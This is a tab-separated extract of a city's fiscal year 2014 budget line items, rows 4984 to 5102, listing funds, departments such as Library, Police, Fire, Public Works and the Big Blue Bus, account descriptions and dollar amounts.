4984	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2014	285.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	285.0
4985	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533020.0	GENERAL LIABILITY / AUTO	812.0	 Supplies and Expenses	2014	25279.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25279.0
4986	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2014	95.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	95.0
4987	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555190.0	METRO LIBRARY SYSTEMS	812.0	 Supplies and Expenses	2014	1700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1700.0
4988	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	1025.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1025.0
4989	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2014	6482.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6482.0
4990	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	17704.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17704.0
4991	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
4992	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	82300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	82300.0
4993	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2014	110000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	110000.0
4994	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	600.0
4995	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522910.0	VEHICLES - FUELS / LUBRICATION	848.0	 Supplies and Expenses	2014	36593.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	36593.0
4996	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	555060.0	PROFESSIONAL SERVICES	844.0	 Supplies and Expenses	2014	75000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	75000.0
4997	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511730.0	WORKERS' COMP INSURANCE	840.0	Salaries and Wages	2014	52294.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	52294.0
4998	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522310.0	OFFICE SUPPLIES / EXPENSE	848.0	 Supplies and Expenses	2014	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
4999	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522620.0	RENT	866.0	 Supplies and Expenses	2014	102000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	102000.0
5000	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	1186168.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1186168.0
5001	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522160.0	TRANSFER STATION FEE	816.0	 Supplies and Expenses	2014	1661.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1661.0
5002	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544030.0	BADGE / AWARD / NAME PLA	806.0	 Supplies and Expenses	2014	15683.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15683.0
5003	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544120.0	PERIODICALS	806.0	 Supplies and Expenses	2014	1634.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1634.0
5004	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2014	26636.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	26636.0
5005	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511500.0	TEMPORARY EMPLOYEES	806.0	Salaries and Wages	2014	172847.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	172847.0
5006	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522620.0	RENT	806.0	 Supplies and Expenses	2014	2250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2250.0
5007	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2014	1025.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1025.0
5008	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2014	9431.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9431.0
5009	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	566140.0	INVESTIGATION EXPENSE	806.0	 Supplies and Expenses	2014	10250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10250.0
5010	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2014	8721848.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8721848.0
5011	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	555180.0	PHOTOGRAPHIC EXPENSE	806.0	 Supplies and Expenses	2014	5638.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5638.0
5012	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5013	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	1129.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1129.0
5014	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533140.0	BOAT MAINTENANCE / OPERATION		 Supplies and Expenses	2014	23470.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23470.0
5015	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544120.0	PERIODICALS		 Supplies and Expenses	2014	51.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	51.0
5016	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2014	8670.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8670.0
5017	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2014	17009.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17009.0
5018	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	806.0	Salaries and Wages	2014	982848.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	982848.0
5019	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522120.0	UTILITIES - NATURAL GAS	806.0	 Supplies and Expenses	2014	11790.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11790.0
5020	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2014	3032.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3032.0
5021	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	533420.0	ENGINEERING TRANSFER	908.0	 Supplies and Expenses	2014	-232291.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-232291.0
5022	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577170.0	GAS TAXES REIMBURSEMENT	908.0	 Supplies and Expenses	2014	-2395940.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2395940.0
5023	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578020.0	HOME PROGRAM ADMIN	908.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5024	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2014	1442223.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1442223.0
5025	BA	IS	27	Resource Recovery & Recyc Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2014	412022.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	412022.0
5026	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2014	1020217.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1020217.0
5027	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578250.0	STORMWATER / WASTEWATER		 Supplies and Expenses	2014	-1127231.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1127231.0
5028	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	555060.0	PROFESSIONAL SERVICES	862.0	 Supplies and Expenses	2014	18222.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18222.0
5029	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	910.0	 Supplies and Expenses	2014	1450992.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1450992.0
5030	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402310.0	WATER - COMMERCIAL SALES	650.0	Charges for Service	2014	-20605462.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-20605462.0
5031	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402440.0	DAMAGE REPAIR WORK	650.0	Charges for Service	2014	-1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1000.0
5032	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402230.0	MAUSOLEUM-MISC SALES/SVCS	650.0	Charges for Service	2014	-27706.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-27706.0
5033	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-100000.0
5034	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	401330.0	MALL / DOWNTOWN MAINT DISTRICT	622.0	Other	2014	-16000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-16000.0
5035	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	404660.0	LIBRARY BOND TAX OVERRIDE	602.0	Property Taxes	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5036	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	400270.0	ANIMAL LICENSES	608.0	Licenses and Permits	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5037	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	405060.0	ENGINEERING COUNTER SALES	612.0	Charges for Service	2014	-6564.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6564.0
5038	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511500.0	TEMPORARY EMPLOYEES	816.0	Salaries and Wages	2014	75850.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	75850.0
5039	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522950.0	CNG FUEL	806.0	 Supplies and Expenses	2014	23816.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23816.0
5040	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2014	15514.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15514.0
5041	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555180.0	PHOTOGRAPHIC EXPENSE	810.0	 Supplies and Expenses	2014	200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200.0
5042	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511490.0	OVERTIME	812.0	Salaries and Wages	2014	17201.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17201.0
5043	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2014	1046.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1046.0
5044	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2014	88736.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	88736.0
5045	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511490.0	OVERTIME		Salaries and Wages	2014	101000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	101000.0
5046	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522130.0	UTILITIES - WATER		 Supplies and Expenses	2014	42847.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	42847.0
5047	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2014	946237.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	946237.0
5048	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5049	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	2850.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2850.0
5050	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	2755.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2755.0
5051	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522610.0	EQUIPMENT RENTAL	812.0	 Supplies and Expenses	2014	56025.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	56025.0
5052	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522820.0	CONFERENCES/MEETINGS/TRAVEL	812.0	 Supplies and Expenses	2014	11450.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11450.0
5053	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5054	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2014	5890.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5890.0
5055	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555010.0	CONTRACTUAL SERVICES	812.0	 Supplies and Expenses	2014	106600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	106600.0
5056	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555210.0	TRAINING	812.0	 Supplies and Expenses	2014	7200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7200.0
5057	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544070.0	NON-PRINT RESOURCES	812.0	 Supplies and Expenses	2014	222847.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	222847.0
5058	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511550.0	LIBRARY PAGES	812.0	Salaries and Wages	2014	272402.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	272402.0
5059	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2014	8500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8500.0
5060	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	3024671.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3024671.0
5061	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2014	3137.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3137.0
5062	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511490.0	OVERTIME	808.0	Salaries and Wages	2014	201955.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	201955.0
5063	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2014	298120.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	298120.0
5064	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2014	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
5065	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511979.0	MEDICAL EXAMS		Salaries and Wages	2014	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
5066	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522044.0	PREMIUMS FOR PL & PD-SRV REV		 Supplies and Expenses	2014	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
5067	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2014	28481.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	28481.0
5068	BA	IS	1	General Fund	310	FIRE	315	TRAINING	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2014	523.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	523.0
5069	BA	IS	1	General Fund	310	FIRE	315	TRAINING	555210.0	TRAINING	806.0	 Supplies and Expenses	2014	136796.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	136796.0
5070	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	35899.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	35899.0
5071	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	59160.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	59160.0
5072	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2014	340330.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	340330.0
5073	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	80000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	80000.0
5074	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522110.0	UTIL - LIGHT / POWER	812.0	 Supplies and Expenses	2014	308600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	308600.0
5075	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522320.0	METERED POSTAGE	812.0	 Supplies and Expenses	2014	25600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25600.0
5076	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522900.0	MEMBERSHIPS AND DUES	812.0	 Supplies and Expenses	2014	10275.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10275.0
5077	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	67230.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	67230.0
5078	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	5700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5700.0
5079	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	285.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	285.0
5080	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	1805.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1805.0
5081	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2014	9580.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9580.0
5082	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2014	2755.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2755.0
5083	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2014	1330.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1330.0
5084	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	150000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	150000.0
5085	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2014	6384.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6384.0
5086	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	12993.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12993.0
5087	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577720.0	CDBG REIMBURSEMENT-HUMAN SVCS	908.0	 Supplies and Expenses	2014	-59500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-59500.0
5088	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2014	901114.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	901114.0
5089	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522070.0	DEPOSITION COSTS	862.0	 Supplies and Expenses	2014	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
5090	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401500.0	GARB/REFUSE COLLECTION FEES	650.0	Charges for Service	2014	-22977874.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-22977874.0
5091	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	402400.0	INSURANCE RECOVERY	650.0	Charges for Service	2014	-50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-50000.0
5092	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	402430.0	SELF-INSURANCE WORKERS COMP	650.0	Charges for Service	2014	-9810765.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-9810765.0
5093	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400060.0	PROPERTY TAXES-DEL-SEC/UNSEC	602.0	Property Taxes	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5094	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400140.0	UTILITIES USERS TAX	606.0	Other Local Taxes	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5095	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	404590.0	SUBDIVISION MAP FEES	612.0	Charges for Service	2014	-11263.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-11263.0
5096	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2014	13950.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13950.0
5097	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2014	10750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10750.0
5098	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	6081.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6081.0
5099	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	175250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	175250.0
5100	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	555210.0	TRAINING	806.0	 Supplies and Expenses	2014	-2177.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2177.0
5101	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522540.0	ADVERTISING		 Supplies and Expenses	2014	33300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	33300.0
5102	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522620.0	RENT	810.0	 Supplies and Expenses	2014	70613.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70613.0
